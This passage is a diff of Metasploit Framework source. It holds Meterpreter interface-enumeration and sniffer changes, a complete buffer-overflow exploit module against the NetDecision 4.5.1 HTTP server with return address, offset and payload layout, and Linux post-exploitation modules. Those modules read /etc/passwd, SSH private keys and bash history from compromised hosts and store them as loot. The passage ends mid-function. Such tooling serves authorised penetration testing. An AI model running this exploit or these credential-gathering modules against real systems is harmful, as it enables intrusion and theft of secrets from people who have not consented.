entryCount++;
|
||||
entries[entryCount].header.length = sizeof(DWORD);
|
||||
entries[entryCount].header.type = TLV_TYPE_IP6_SCOPE;
|
||||
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id);
|
||||
tlv_cnt++;
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP6_SCOPE;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id);
|
||||
|
||||
if (pCurr->Length > 68) {
|
||||
entryCount++;
|
||||
entries[entryCount].header.length = 16;
|
||||
entries[entryCount].header.type = TLV_TYPE_NETMASK;
|
||||
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
|
||||
tlv_cnt++;
|
||||
entries[tlv_cnt].header.length = 16;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
entryCount++;
|
||||
tlv_cnt++;
|
||||
}
|
||||
// Add the interface group
|
||||
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE,
|
||||
entries, entryCount);
|
||||
entries, tlv_cnt);
|
||||
}
|
||||
} while (0);
|
||||
|
||||
if (entries)
|
||||
free(entries);
|
||||
if (pAdapters)
|
||||
free(pAdapters);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
@ -239,8 +231,8 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
int i;
|
||||
int result;
|
||||
uint32_t interface_index_bigendian, mtu_bigendian;
|
||||
// wild guess, should probably malloc
|
||||
Tlv entries[39];
|
||||
DWORD allocd_entries = 10;
|
||||
Tlv *entries = (Tlv *)malloc(sizeof(Tlv) * 10);
|
||||
|
||||
dprintf("Grabbing interfaces");
|
||||
result = netlink_get_interfaces(&ifaces);
|
||||
|
@ -262,7 +254,28 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].hwaddr;
|
||||
tlv_cnt++;
|
||||
|
||||
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
|
||||
entries[tlv_cnt].header.length = sizeof(uint32_t);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].flags)+1;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_FLAGS;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].flags;
|
||||
tlv_cnt++;
|
||||
|
||||
interface_index_bigendian = htonl(ifaces->ifaces[i].index);
|
||||
entries[tlv_cnt].header.length = sizeof(uint32_t);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
|
||||
if (allocd_entries < tlv_cnt+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
allocd_entries += 3;
|
||||
}
|
||||
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
|
||||
dprintf("ip addr for %s", ifaces->ifaces[i].name);
|
||||
entries[tlv_cnt].header.length = sizeof(__u32);
|
||||
|
@ -290,23 +303,6 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
}
|
||||
}
|
||||
|
||||
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
|
||||
entries[tlv_cnt].header.length = sizeof(uint32_t);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].flags)+1;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_FLAGS;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].flags;
|
||||
tlv_cnt++;
|
||||
|
||||
interface_index_bigendian = htonl(ifaces->ifaces[i].index);
|
||||
entries[tlv_cnt].header.length = sizeof(uint32_t);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
dprintf("Adding TLV to group");
|
||||
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt);
|
||||
dprintf("done Adding TLV to group");
|
||||
|
@ -315,6 +311,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
|
||||
if (ifaces)
|
||||
free(ifaces);
|
||||
if (entries)
|
||||
free(entries);
|
||||
|
||||
|
||||
return result;
|
||||
}
|
||||
|
|
|
@ -677,10 +677,8 @@ int netlink_parse_interface_address(struct nlmsghdr *nh, void *data)
|
|||
memset(&iface_tmp, 0, sizeof(iface_tmp));
|
||||
iface_tmp.index = iaddr->ifa_index;
|
||||
|
||||
dprintf("-------------------------------------");
|
||||
for (attribute = IFA_RTA(iaddr); RTA_OK(attribute, len); attribute = RTA_NEXT(attribute, len))
|
||||
{
|
||||
dprintf("Start of loop, attribute->rta_type = %d", attribute->rta_type);
|
||||
switch(attribute->rta_type)
|
||||
{
|
||||
case IFA_ADDRESS:
|
||||
|
@ -711,9 +709,7 @@ int netlink_parse_interface_address(struct nlmsghdr *nh, void *data)
|
|||
default:
|
||||
break;
|
||||
}
|
||||
dprintf("-------------------------------------");
|
||||
}
|
||||
dprintf("Exited loop");
|
||||
|
||||
/*
|
||||
* try to find the iface by index and name
|
||||
|
|
|
@ -312,7 +312,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
|
||||
# Try to match our visible IP to a real interface
|
||||
# TODO: Deal with IPv6 addresses
|
||||
found = !!(ifaces.find {|i| i.addrs.find {|a| p a; a == shost } })
|
||||
found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } })
|
||||
nhost = nil
|
||||
hobj = nil
|
||||
|
||||
|
|
|
@ -46,28 +46,33 @@ class Export
|
|||
report_file.write "#" * 40; report_file.write "\n"
|
||||
|
||||
count = count_credentials("smb_hash",creds)
|
||||
scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0
|
||||
yield(:status, "start", "LM/NTLM Hash dump") if block_given?
|
||||
report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [creds["smb_hash"].size, count]
|
||||
report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count]
|
||||
write_credentials("smb_hash",creds,report_file)
|
||||
|
||||
count = count_credentials("smb_netv1_hash",creds)
|
||||
scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0
|
||||
yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given?
|
||||
report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [creds["smb_netv1_hash"].size, count]
|
||||
report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count]
|
||||
write_credentials("smb_netv1_hash",creds,report_file)
|
||||
|
||||
count = count_credentials("smb_netv2_hash",creds)
|
||||
scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0
|
||||
yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given?
|
||||
report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [creds["smb_netv2_hash"].size, count]
|
||||
report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count]
|
||||
write_credentials("smb_netv2_hash",creds,report_file)
|
||||
|
||||
count = count_credentials("ssh_key",creds)
|
||||
scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0
|
||||
yield(:status, "start", "SSH Key dump") if block_given?
|
||||
report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [creds["ssh_key"].size, count]
|
||||
report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count]
|
||||
write_credentials("ssh_key",creds,report_file)
|
||||
|
||||
count = count_credentials("text",creds)
|
||||
scount = creds.has_key?("text") ? creds["text"].size : 0
|
||||
yield(:status, "start", "Plaintext Credential dump") if block_given?
|
||||
report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [creds["text"].size, count]
|
||||
report_file.write "# Plaintext Credentials (%d services, %d credentials)\n" % [scount, count]
|
||||
write_credentials("text",creds,report_file)
|
||||
|
||||
report_file.flush
|
||||
|
|
|
@ -59,7 +59,11 @@ class Sniffer < Extension
|
|||
def capture_stop(intf)
|
||||
request = Packet.create_request('sniffer_capture_stop')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
response = client.send_request(request)
|
||||
response = client.send_request(request)
|
||||
{
|
||||
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
# Retrieve stats about a current capture
|
||||
|
@ -72,6 +76,17 @@ class Sniffer < Extension
|
|||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
# Release packets from a current capture
|
||||
def capture_release(intf)
|
||||
request = Packet.create_request('sniffer_capture_release')
|
||||
request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i)
|
||||
response = client.send_request(request)
|
||||
{
|
||||
:packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT),
|
||||
:bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT),
|
||||
}
|
||||
end
|
||||
|
||||
# Buffer the current capture to a readable buffer
|
||||
def capture_dump(intf)
|
||||
|
|
|
@ -33,6 +33,7 @@ class Console::CommandDispatcher::Sniffer
|
|||
"sniffer_stop" => "Stop packet capture on a specific interface",
|
||||
"sniffer_stats" => "View statistics of an active capture",
|
||||
"sniffer_dump" => "Retrieve captured packet data to PCAP file",
|
||||
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them",
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -70,19 +71,21 @@ class Console::CommandDispatcher::Sniffer
|
|||
end
|
||||
|
||||
def cmd_sniffer_stop(*args)
|
||||
intf = args[0].to_i
|
||||
intf = args[0].to_i
|
||||
if (intf == 0)
|
||||
print_error("Usage: sniffer_stop [interface-id]")
|
||||
return
|
||||
end
|
||||
|
||||
client.sniffer.capture_stop(intf)
|
||||
res = client.sniffer.capture_stop(intf)
|
||||
print_status("Capture stopped on interface #{intf}")
|
||||
print_status("There are #{res[:packets]} packets (#{res[:bytes]} bytes) remaining")
|
||||
print_status("Download or release them using 'sniffer_dump' or 'sniffer_release'")
|
||||
return true
|
||||
end
|
||||
|
||||
def cmd_sniffer_stats(*args)
|
||||
intf = args[0].to_i
|
||||
intf = args[0].to_i
|
||||
if (intf == 0)
|
||||
print_error("Usage: sniffer_stats [interface-id]")
|
||||
return
|
||||
|
@ -96,9 +99,22 @@ class Console::CommandDispatcher::Sniffer
|
|||
|
||||
return true
|
||||
end
|
||||
|
||||
def cmd_sniffer_release(*args)
|
||||
intf = args[0].to_i
|
||||
if (intf == 0)
|
||||
print_error("Usage: sniffer_stats [interface-id]")
|
||||
return
|
||||
end
|
||||
|
||||
res = client.sniffer.capture_release(intf)
|
||||
print_status("Flushed #{res[:packets]} packets (#{res[:bytes]} bytes) from interface #{intf}")
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def cmd_sniffer_dump(*args)
|
||||
intf = args[0].to_i
|
||||
intf = args[0].to_i
|
||||
if (intf == 0 or not args[1])
|
||||
print_error("Usage: sniffer_dump [interface-id] [pcap-file]")
|
||||
return
|
||||
|
|
|
@ -56,6 +56,7 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
def commands
|
||||
{
|
||||
"ipconfig" => "Display interfaces",
|
||||
"ifconfig" => "Display interfaces",
|
||||
"route" => "View and modify the routing table",
|
||||
"portfwd" => "Forward a local port to a remote service",
|
||||
}
|
||||
|
@ -83,6 +84,8 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
end
|
||||
end
|
||||
|
||||
alias :cmd_ifconfig :cmd_ipconfig
|
||||
|
||||
#
|
||||
# Displays or modifies the routing table on the remote machine.
|
||||
#
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in NetDecision's HTTP service
|
||||
(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a
|
||||
long string of data to the URL, an overflow may occur if the data gets handled
|
||||
by HTTP Server's active window. In other words, in order to gain remote code
|
||||
execution, the victim is probably looking at HttpSvr's window.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Prabhu S Angadi', #Discovery, DoS PoC
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '79651'],
|
||||
['URL', 'http://secunia.com/advisories/48168/'],
|
||||
['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'NetDecision 4.5.1 on XP SP3',
|
||||
{
|
||||
# POP/POP/RET - OLEACC.dll
|
||||
'Ret' => 0x74C869E2,
|
||||
'Offset' => 1620
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 24 2012",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({'uri'=>'/'})
|
||||
banner = res.headers['Server']
|
||||
if banner =~ /NetDecision\-HTTP\-Server\/1\.0/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
buf = "/"
|
||||
buf << rand_text_alpha(675, payload_badchars)
|
||||
buf << pattern_create(5) #Avoid TerminateProcess()
|
||||
buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)
|
||||
buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)
|
||||
buf << [target.ret].pack('V*')
|
||||
buf << payload.encoded
|
||||
buf << rand_text_alpha(8000-buf.length, payload_badchars)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Sending #{self.name}...")
|
||||
|
||||
send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => buf
|
||||
})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
|
@ -1,79 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/priv'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Cron Job Enumeration',
|
||||
'Description' => %q{
|
||||
This module lists cron jobs for each user on the machine and saves it to loot.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
if is_root?
|
||||
print_status("Enumerating as root")
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1").split("\n")
|
||||
cron_data = ""
|
||||
users.each do |user|
|
||||
cron_data += "*****Listing cron jobs for #{user}*****\n"
|
||||
cron_data += execute("crontab -u #{user} -l") + "\n\n"
|
||||
end
|
||||
else
|
||||
user = execute("/usr/bin/whoami")
|
||||
user.strip! if user
|
||||
print_status("Enumerating as #{user}")
|
||||
cron_data = "***** Listing cron jobs for #{user} *****\n\n"
|
||||
cron_data += execute("crontab -l")
|
||||
end
|
||||
|
||||
# Save cron data to loot
|
||||
save("Cron jobs", cron_data)
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.cron"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,237 +0,0 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather System Information',
|
||||
'Description' => %q{
|
||||
This module gathers basic system information from Linux systems.
|
||||
It enumerates users, hashes, services, network config, routing table, installed packages,
|
||||
screenshot, and bash_history.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>',
|
||||
'sinn3r', #Modified the original, and more testing
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>' # get_packages and get_services
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ "shell" ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
host = get_host
|
||||
user = execute("/usr/bin/whoami")
|
||||
print_status("Module running as #{user}")
|
||||
|
||||
|
||||
# Collect data
|
||||
distro = get_sysinfo
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
print_status("Collecting data...")
|
||||
|
||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
||||
nconfig = execute("/sbin/ifconfig -a")
|
||||
routes = execute("/sbin/route")
|
||||
mount = execute("/bin/mount -l")
|
||||
iptables = execute("/sbin/iptables -L")
|
||||
iptables_nat = execute("/sbin/iptables -L -t nat")
|
||||
iptables_man = execute("/sbin/iptables -L -t mangle")
|
||||
resolv = cat_file("/etc/resolv.conf")
|
||||
sshd_conf = cat_file("/etc/ssh/sshd_config")
|
||||
hosts = cat_file("/etc/hosts")
|
||||
pwd = cat_file("/etc/passwd")
|
||||
|
||||
screenshot = get_screenshot
|
||||
ssh_keys = get_ssh_keys
|
||||
installed_pkg = get_packages(distro[:distro])
|
||||
installed_svc = get_services(distro[:distro])
|
||||
get_bash_history(users, user)
|
||||
|
||||
|
||||
# Save Enumerated data
|
||||
save("Screenshot", screenshot, "image/x-xwd") if screenshot
|
||||
save("Linux version", distro)
|
||||
save("User accounts", users)
|
||||
save("Network config", nconfig)
|
||||
save("Route table", routes)
|
||||
save("Mounted drives", mount)
|
||||
save("Firewall config", iptables + iptables_nat + iptables_man)
|
||||
save("DNS config", resolv)
|
||||
save("SSHD config", sshd_conf)
|
||||
save("Host file", hosts)
|
||||
save("SSH keys", ssh_keys) unless ssh_keys.empty?
|
||||
save("Linux Installed Packages", installed_pkg)
|
||||
save("Linux Configured Services", installed_svc)
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = (ctype == 'image/x-xwd') ? "host.linux.screenshot" : "linux.enum"
|
||||
vprint_status(msg)
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
# Get host name
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
print_status("Running module against #{host}")
|
||||
|
||||
return host
|
||||
end
|
||||
|
||||
def execute(cmd)
|
||||
vprint_status("Execute: #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
return output
|
||||
end
|
||||
|
||||
def cat_file(filename)
|
||||
vprint_status("Download: #{filename}")
|
||||
output = read_file(filename)
|
||||
return output
|
||||
end
|
||||
|
||||
def get_screenshot
|
||||
vprint_status("Capturing screenshot")
|
||||
xwd_filename = "/tmp/" + Rex::Text.rand_text_alpha(5) + ".xwd"
|
||||
|
||||
#Take a snapshot and save it.
|
||||
#We leave the conversion up to the user. Tools such as gimp can open this file format.
|
||||
capture = execute("xwd -root -display :0.0 -out #{xwd_filename}")
|
||||
return nil if capture =~ /Command not found/i or capture =~ /refused by server/
|
||||
|
||||
#Download the screenshot
|
||||
xwd = read_file(xwd_filename)
|
||||
|
||||
#Clean up
|
||||
execute("rm #{xwd_filename}")
|
||||
|
||||
return xwd
|
||||
end
|
||||
|
||||
def get_ssh_keys
|
||||
keys = []
|
||||
|
||||
#Look for .ssh folder, "~/" might not work everytime
|
||||
dirs = execute("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n")
|
||||
ssh_base = ''
|
||||
dirs.each do |d|
|
||||
if d =~ /(^\/)(.*)\.ssh$/
|
||||
ssh_base = d
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# We didn't find .ssh :-(
|
||||
return [] if ssh_base == ''
|
||||
|
||||
# List all the files under .ssh/
|
||||
files = execute("/bin/ls -a #{ssh_base}").chomp.split()
|
||||
|
||||
files.each do |k|
|
||||
next if k =~/^(\.+)$/
|
||||
this_key = cat_file("#{ssh_base}/#{k}")
|
||||
keys << this_key
|
||||
end
|
||||
|
||||
return keys
|
||||
end
|
||||
|
||||
def get_bash_history(users, user)
|
||||
if user == "root" and users != nil
|
||||
users = users.chomp.split()
|
||||
users.each do |u|
|
||||
if u == "root"
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/root/.bash_history")
|
||||
else
|
||||
vprint_status("Extracting history for #{u}")
|
||||
hist = cat_file("/home/#{u}/.bash_history")
|
||||
end
|
||||
|
||||
save("History for #{u}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
else
|
||||
vprint_status("Extracting history for #{user}")
|
||||
hist = cat_file("/home/#{user}/.bash_history")
|
||||
vprint_status(hist)
|
||||
save("History for #{user}", hist) unless hist =~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
|
||||
def get_packages(distro)
|
||||
packages_installed = nil
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle/
|
||||
packages_installed = cmd_exec("rpm -qa")
|
||||
elsif distro =~ /slackware/
|
||||
packages_installed = cmd_exec("ls /var/log/packages")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
packages_installed = cmd_exec("dpkg -l")
|
||||
elsif distro =~ /gentoo/
|
||||
packages_installed = cmd_exec("equery list")
|
||||
elsif distro =~ /arch/
|
||||
packages_installed = cmd_exec("/usr/bin/pacman -Q")
|
||||
else
|
||||
print_error("Could not determine package manager to get list of installed packages")
|
||||
end
|
||||
return packages_installed
|
||||
end
|
||||
|
||||
def get_services(distro)
|
||||
services_installed = ""
|
||||
if distro =~ /fedora|redhat|suse|mandrake|oracle/
|
||||
services_installed = cmd_exec("/sbin/chkconfig --list")
|
||||
elsif distro =~ /slackware/
|
||||
services_installed << "\nEnabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'*$\'")
|
||||
services_installed << "\n\nDisabled:\n*************************\n"
|
||||
services_installed << cmd_exec("ls -F /etc/rc.d | /bin/grep \'[a-z0-9A-z]$\'")
|
||||
elsif distro =~ /ubuntu|debian/
|
||||
services_installed = cmd_exec("/usr/bin/service --status-all")
|
||||
elsif distro =~ /gentoo/
|
||||
services_installed = cmd_exec("/bin/rc-status --all")
|
||||
else
|
||||
print_error("Could not determine the Linux Distribution to get list of configured services")
|
||||
end
|
||||
return services_installed
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,146 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/linux/system'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Network Information',
|
||||
'Description' => %q{
|
||||
This module gathers network information from the target system
|
||||
IPTables rules, interfaces, wireless information, open and listening
|
||||
ports, active network connections, DNS information and SSH information.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing
|
||||
'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
host = get_host
|
||||
user = execute("/usr/bin/whoami")
|
||||
print_status("Module running as #{user}")
|
||||
|
||||
|
||||
# Collect data
|
||||
distro = get_sysinfo
|
||||
print_good("Info:")
|
||||
print_good("\t#{distro[:version]}")
|
||||
print_good("\t#{distro[:kernel]}")
|
||||
|
||||
print_status("Collecting data...")
|
||||
|
||||
nconfig = execute("/sbin/ifconfig -a")
|
||||
routes = execute("/sbin/route -e")
|
||||
iptables = execute("/sbin/iptables -L")
|
||||
iptables_nat = execute("/sbin/iptables -L -t nat")
|
||||
iptables_man = execute("/sbin/iptables -L -t mangle")
|
||||
resolv = cat_file("/etc/resolv.conf")
|
||||
sshd_conf = cat_file("/etc/ssh/sshd_config")
|
||||
hosts = cat_file("/etc/hosts")
|
||||
connections = execute("/usr/bin/lsof -nPi")
|
||||
wireless = execute("/sbin/iwconfig")
|
||||
open_ports = execute("/bin/netstat -tulpn")
|
||||
updown = execute("ls -R /etc/network")
|
||||
|
||||
ssh_keys = get_ssh_keys
|
||||
|
||||
# Save Enumerated data
|
||||
save("Network config", nconfig)
|
||||
save("Route table", routes)
|
||||
save("Firewall config", iptables + iptables_nat + iptables_man)
|
||||
save("DNS config", resolv)
|
||||
save("SSHD config", sshd_conf)
|
||||
save("Host file", hosts)
|
||||
save("SSH keys", ssh_keys) unless ssh_keys.empty?
|
||||
save("Active connections", connections)
|
||||
save("Wireless information", wireless)
|
||||
save("Listening ports", open_ports)
|
||||
save("If-Up/If-Down", updown)
|
||||
|
||||
end
|
||||
|
||||
# Save enumerated data
|
||||
def save(msg, data, ctype="text/plain")
|
||||
ltype = "linux.enum.network"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
# Get host name
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = session.shell_command_token("hostname").chomp
|
||||
end
|
||||
|
||||
